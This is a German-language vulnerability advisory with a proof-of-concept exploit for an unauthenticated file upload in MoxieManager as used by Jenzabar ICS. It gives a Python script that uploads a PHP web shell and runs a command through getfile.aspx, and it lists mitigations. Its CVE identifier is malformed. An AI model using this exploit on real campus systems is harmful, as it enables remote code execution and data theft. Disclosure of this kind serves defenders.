itsismarcos/ics-moxiemanager-fileupload-pocCVE-2026-30-03 9.8 (Kritisch) Mögliche RCE Jenzabar ICS + MoxieManager
CVE-2026-30-03 9.8 (Kritisch) Mögliche RCE Jenzabar ICS + MoxieManager
proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be
CVE CVSS Auswirkung Betroffen CVE-2026-30-03 9.8 (Kritisch) Mögliche RCE Jenzabar ICS + MoxieManager
Eine Schwachstelle in der vom System Jenzabar ICS verwendeten Komponente MoxieManager kann einen unsachgemäßen Datei-Upload ermöglichen, der unter bestimmten Bedingungen öffentlich zugänglich sein und potenziell zur Remote-Code-Ausführung (RCE) führen kann. Technische Beschreibung
Das Problem tritt auf aufgrund von:
Fehlender ordnungsgemäßer Validierung hochgeladener Dateien
Mögliche Offenlegung von Dateien über einen öffentlichen Endpunkt:
/ICS/staticpages/getfile.aspx
Inkonsistente Authentifizierungskontrolle am Endpunkt:
/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx
In bestimmten Szenarien können hochgeladene Dateien in zugänglichen Verzeichnissen gespeichert und anschließend abgerufen werden.
Auswirkung Beliebiger Datei-Upload Offenlegung sensibler Inhalte Mögliche Remote-Code-Ausführung (abhängig von der Serverkonfiguration) Vollständige Kompromittierung des Systems
Einstufung CVSS v3.1: 9.8 (Kritisch) Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Unbeschränkter Datei-Upload CWE-284: Unzureichende Zugriffskontrolle
PoC-Exploit
#!/usr/bin/env python3
import requests
TARGET = "https://example.edu" MOXIE = f"{TARGET}/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx" UUID = "5d6b24cb-7bfe-4a6b-8581-4426bf0f4101"
files = {'file': ('shell.php', '', 'application/x-php')} data = {'action': 'upload', 'path': '/1085255', 'csrf': 'E24607903E4DC7496732F267BAD48FF35D855DA9E362AB80E0340D5B5EC5F164'}
r = requests.post(MOXIE, files=files, data=data) print(f"[+] Upload: {r.status_code}")
SHELL = f"{TARGET}/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/{UUID}/shell.php" print(f"[+] Shell: {SHELL}?cmd=whoami") print(requests.get(f"{SHELL}?cmd=whoami").text)
Betroffene Systeme (33+ bestätigt)
Behebung Sofortmaßnahmen (Abschwächung):
DELETE /moxiemanager/files/users/*/shell.php
getfile.aspx einschränken:
RewriteRule ^/ICS/staticpages/getfile.aspx?target=.*shell.php - [F,L]
MoxieManager-Uploads deaktivieren
